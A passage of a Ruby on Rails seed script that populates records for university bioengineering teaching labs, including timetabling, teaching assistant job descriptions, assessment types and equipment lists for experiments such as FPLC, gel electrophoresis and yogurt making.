Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"310\").first_or_create!(name: \"Bioreactor scale-up (Fermentor)\",\n name_abrv: \"BIOSCALE\", archived: false, in_drive: false, user_id: 4)\n at497 = ActivityTimetable.where(activity_id: a497.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: 7, max_week_num: 10, pref_room_id: $room_pp.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a497.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a497.id).first_or_create!(criteria: \"Culture of microorganisms\",\n job_desc:\"Supervising students in The DiPP\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a497.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_none.id, num_assess: 40)\n ActivityTech.where(activity_id: a497.id).first_or_create!(cost_per_student: nil, equip_needed: \"24/03/20\",\n last_risk_assess: nil, next_risk_assess: Date.new(18, 3, 24), tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a497.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a498 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"311\").first_or_create!(name: \"FPLC & protein analysis\",\n name_abrv: \"FPLC\", archived: false, in_drive: false, user_id: 2)\n at498 = ActivityTimetable.where(activity_id: a498.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 4, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: nil, takedown_time: 60, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a498.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a498.id).first_or_create!(criteria: \"\",\n job_desc:\"Protein separation using AKTA FPLC system and determining protein concentration using the Bradford assay\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a498.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a498.id).first_or_create!(cost_per_student: nil, equip_needed: \"FPLC, Ultracentrifuge, Cell Distruptor, fluorescent plate reader, absorbance plate reader\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a498.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a499 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT209\").first.id, code: \"312\").first_or_create!(name: \"Gel electrophoresis\",\n name_abrv: \"GELELEC\", archived: false, in_drive: false, user_id: 1)\n at499 = ActivityTimetable.where(activity_id: a499.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 8, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 180, setup_time: 240, takedown_time: 90, notes: \"Should run before Western Blotting\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at499.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a499.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a499.id).first_or_create!(criteria: \"\",\n job_desc:\"Separating proteins by SDS-PAGE\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 30, staff_ratio: nil)\n ActivityAssess.where(activity_id: a499.id).first_or_create!(assess_weight: nil, notes: \"Report incudes western blot and submitted after that part of the experiment\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a499.id).first_or_create!(cost_per_student: nil, equip_needed: \"Biorad gel doc x2, gel tank, power packs, balances, transblot turbos, micropipettes, LEV, heater block, centrifuge\",\n last_risk_assess: nil, next_risk_assess: Date.new(20, 1, 28), tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a499.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a500 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"313\").first_or_create!(name: \"Glucose assay\",\n name_abrv: \"GLUCOSE\", archived: false, in_drive: false, user_id: 3)\n at500 = ActivityTimetable.where(activity_id: a500.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 10, max_week_num: 11, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: 180, takedown_time: 60, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay (Can be 1st experiment in Spring if doesn't fit in Autumn)\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at500.id, room_id: $room_blt.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a500.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a500.id).first_or_create!(criteria: \"Biological assays\",\n job_desc:\"Glucose analysis of E.coli culture samples.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a500.id).first_or_create!(assess_weight: nil, notes: \"Data Presentation\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a500.id).first_or_create!(cost_per_student: nil, equip_needed: \"Spectrophotometers, water baths, YSI analyser\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a500.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a502 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"315\").first_or_create!(name: \"HPLC\",\n name_abrv: \"HPLC\", archived: false, in_drive: false, user_id: 1)\n at502 = ActivityTimetable.where(activity_id: a502.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 5, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: nil, takedown_time: nil, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a502.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a502.id).first_or_create!(criteria: \"\",\n job_desc:\"Separating proteins in a mixture and quantifying the concentration of GFP.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a502.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a502.id).first_or_create!(cost_per_student: nil, equip_needed: \"HPLC, fluorescent plate reader\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a502.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a503 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE240\").first.id, code: \"316\").first_or_create!(name: \"Hygiene Lab: part 1\",\n name_abrv: \"HYGIENE1\", archived: false, in_drive: false, user_id: 3)\n at503 = ActivityTimetable.where(activity_id: a503.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: 60, notes: \"\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a503.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a503.id).first_or_create!(criteria: \"Basic lab work. Knowledge of microbiology beneficial although not essential.\",\n job_desc:\"Exploring the effect of correct technique and good hygiene on experimental accuracy and biological safety. Investigating the effects of antibiotic action on pre-cultured E.Coli bacteria.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a503.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a503.id).first_or_create!(cost_per_student: nil, equip_needed: \"Static incubators, pipettes\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a503.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a504 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE240\").first.id, code: \"317\").first_or_create!(name: \"Hygiene Lab: part 2\",\n name_abrv: \"HYGIENE2\", archived: false, in_drive: false, user_id: 2)\n at504 = ActivityTimetable.where(activity_id: a504.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: nil, notes: \"Part 2 must follow part 1 - preferably follwing day or day after\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a504.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a504.id).first_or_create!(criteria: \"Basic lab work. Knowledge of microbiology beneficial although not essential.\",\n job_desc:\"Exploring the effect of correct technique and good hygiene on experimental accuracy and biological safety. Investigating the effects of antibiotic action on pre-cultured E.Coli bacteria.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a504.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a504.id).first_or_create!(cost_per_student: nil, equip_needed: \"Static Incubators, Cameras\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a504.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a505 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT408\").first.id, code: \"318\").first_or_create!(name: \"Live cell imaging 1\",\n name_abrv: \"CELL1\", archived: false, in_drive: false, user_id: 3)\n at505 = ActivityTimetable.where(activity_id: a505.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 5, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 180, setup_time: nil, takedown_time: 75, notes: \"\",\n capacity: 20, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a505.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a505.id).first_or_create!(criteria: \"Cell culture and aseptic technique, microscopy.\",\n job_desc:\"Scratch assay using HaCaT cells and setting up live cell imaging system to capture cell migration; labelling cells with a fluorophore and capturing images. Analysing cell migration data using ImageJ.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a505.id).first_or_create!(assess_weight: nil, notes: \"Google SIte. Includes SEM and FTIR\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a505.id).first_or_create!(cost_per_student: nil, equip_needed: \"Class II BSC, live cell imagers x2, microscopes, micropipettes, autopipettes\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a505.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a506 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT6311\").first.id, code: \"318\").first_or_create!(name: \"Live cell imaging 1\",\n name_abrv: \"CELL1\", archived: true, in_drive: false, user_id: 4)\n at506 = ActivityTimetable.where(activity_id: a506.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a506.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a506.id).first_or_create!(criteria: \"Cell culture and aseptic technique, microscopy.\",\n job_desc:\"Scratch assay using HaCaT cells and setting up live cell imaging system to capture cell migration; labelling cells with a fluorophore and capturing images. Analysing cell migration data using ImageJ.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a506.id).first_or_create!(assess_weight: nil, notes: \"Google SIte. Includes SEM and FTIR\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a506.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a506.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a507 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT408\").first.id, code: \"319\").first_or_create!(name: \"Live cell imaging 2\",\n name_abrv: \"CELL2\", archived: false, in_drive: false, user_id: 1)\n at507 = ActivityTimetable.where(activity_id: a507.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 3, max_week_num: 6, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Must follow Live Cell Imaging 1\",\n capacity: 20, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a507.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a507.id).first_or_create!(criteria: \"Cell culture and aseptic technique, microscopy.\",\n job_desc:\"Scratch assay using HaCaT cells and setting up live cell imaging system to capture cell migration; labelling cells with a fluorophore and capturing images. Analysing cell migration data using ImageJ.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a507.id).first_or_create!(assess_weight: nil, notes: \"Google SIte. Includes SEM and FTIR\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a507.id).first_or_create!(cost_per_student: nil, equip_needed: \"Live cell imager x2, microscopes\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a507.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a508 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT6311\").first.id, code: \"319\").first_or_create!(name: \"Live cell imaging 2\",\n name_abrv: \"CELL2\", archived: true, in_drive: false, user_id: 5)\n at508 = ActivityTimetable.where(activity_id: a508.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a508.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a508.id).first_or_create!(criteria: \"Cell culture and aseptic technique, microscopy.\",\n job_desc:\"Scratch assay using HaCaT cells and setting up live cell imaging system to capture cell migration; labelling cells with a fluorophore and capturing images. Analysing cell migration data using ImageJ.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a508.id).first_or_create!(assess_weight: nil, notes: \"Google SIte. Includes SEM and FTIR\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a508.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a508.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a509 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"320\").first_or_create!(name: \"Making buffers\",\n name_abrv: \"BUFFERS\", archived: false, in_drive: false, user_id: 3)\n at509 = ActivityTimetable.where(activity_id: a509.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 3, max_week_num: 4, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: 360, takedown_time: 180, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at509.id, room_id: $room_blt.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a509.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a509.id).first_or_create!(criteria: \"Experience of making solutions from solids. An understanding of acids and bases.\",\n job_desc:\"Investigating the properties of buffers (titration using bicarbonate buffer)\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a509.id).first_or_create!(assess_weight: nil, notes: \"Data Presentation\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a509.id).first_or_create!(cost_per_student: nil, equip_needed: \"balances, pH meters\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a509.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a510 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE103\").first.id, code: \"321\").first_or_create!(name: \"Making nylon\",\n name_abrv: \"NYLONMAKING\", archived: false, in_drive: false, user_id: 3)\n at510 = ActivityTimetable.where(activity_id: a510.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 180, takedown_time: 120, notes: \"One experiment of 3 for this module\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at510.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a510.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a510.id).first_or_create!(criteria: \"Knowlegde of polymer chemistry desirable\",\n job_desc:\"Making a nylon rope (demonstrating polycondensation reaction)\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a510.id).first_or_create!(assess_weight: nil, notes: \"Calculations and observations marked during lab session.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a510.id).first_or_create!(cost_per_student: nil, equip_needed: \"Clamps & Stands, LEV\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a510.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a511 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE240\").first.id, code: \"322\").first_or_create!(name: \"making yogurt: part 1\",\n name_abrv: \"YOGHURT1\", archived: false, in_drive: false, user_id: 1)\n at511 = ActivityTimetable.where(activity_id: a511.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: 240, takedown_time: 240, notes: \"2 hours required.\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at511.id, room_id: $room_blt.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a511.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a511.id).first_or_create!(criteria: \"Basic lab work. Knowledge of microbiology beneficial although not essential.\",\n job_desc:\"To investigate the use of microorganisms in the manufacture of common food products by making yogurt and paneer cheese.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a511.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a511.id).first_or_create!(cost_per_student: nil, equip_needed: \"Static Incubators, Water baths, hotplate stirrers, balances,\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a511.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a512 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE240\").first.id, code: \"323\").first_or_create!(name: \"making yogurt: part 2\",\n name_abrv: \"YOGHURT2\", archived: false, in_drive: false, user_id: 1)\n at512 = ActivityTimetable.where(activity_id: a512.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 60, notes: \"Part 2 to follow part 1 24h or 48h later. 1 hour required.\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at512.id, room_id: $room_blt.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a512.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a512.id).first_or_create!(criteria: \"Basic lab work. Knowledge of microbiology beneficial although not essential.\",\n job_desc:\"To investigate the use of microorganisms in the manufacture of common food products by making yogurt and paneer cheese.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a512.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a512.id).first_or_create!(cost_per_student: nil, equip_needed: \"Static incubator, cameras\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a512.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a513 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE280\").first.id, code: \"324\").first_or_create!(name: \"Mammalian cell culture\",\n name_abrv: \"MAMMALIAN\", archived: false, in_drive: false, user_id: 3)\n at513 = ActivityTimetable.where(activity_id: a513.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: nil, takedown_time: 120, notes: \"\",\n capacity: 20, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a513.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a513.id).first_or_create!(criteria: \"Experience culturing mammalian cells. Experience operating bioreactors desirable.\",\n job_desc:\"Counting & subculturing CHO cells, operating a mini bioreactor for CHO cell culture.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a513.id).first_or_create!(assess_weight: nil, notes: \"Data interpretation and short wriet-up\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a513.id).first_or_create!(cost_per_student: nil, equip_needed: \"Class II BSC, microscopes, Vi-Cell, Applikon Mini bioreactors, micropipettes, auto pipettes\",\n last_risk_assess: nil, next_risk_assess: Date.new(20, 2, 7), tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a513.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a514 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1520\").first.id, code: \"325\").first_or_create!(name: \"Microscopy\",\n name_abrv: \"MICROSCOPY\", archived: false, in_drive: false, user_id: 3)\n at514 = ActivityTimetable.where(activity_id: a514.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 7, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 180, notes: \"Microscopy session to follow histology staining\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a514.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a514.id).first_or_create!(criteria: \"Operating light microscopes and imaging tissue sections\",\n job_desc:\"Using digital camera and Motic software to take images of stained tissue sections\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: 30, staff_ratio: nil)\n ActivityAssess.where(activity_id: a514.id).first_or_create!(assess_weight: nil, notes: \"Also includes hisology staining\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a514.id).first_or_create!(cost_per_student: nil, equip_needed: \"Microscopes, laptops, histology slides\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a514.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a515 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE103\").first.id, code: \"326\").first_or_create!(name: \"Physiological testing\",\n name_abrv: \"PHYTEST\", archived: false, in_drive: false, user_id: 4)\n at515 = ActivityTimetable.where(activity_id: a515.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 8, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 60, takedown_time: 60, notes: \"One of 3 experiments for this module\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a515.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a515.id).first_or_create!(criteria: \"Understanding of physiology and spreadsheets. Knowledge of signal transduction desirable.\",\n job_desc:\"Measuring grip strength, pulse rate and blood pressure\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering 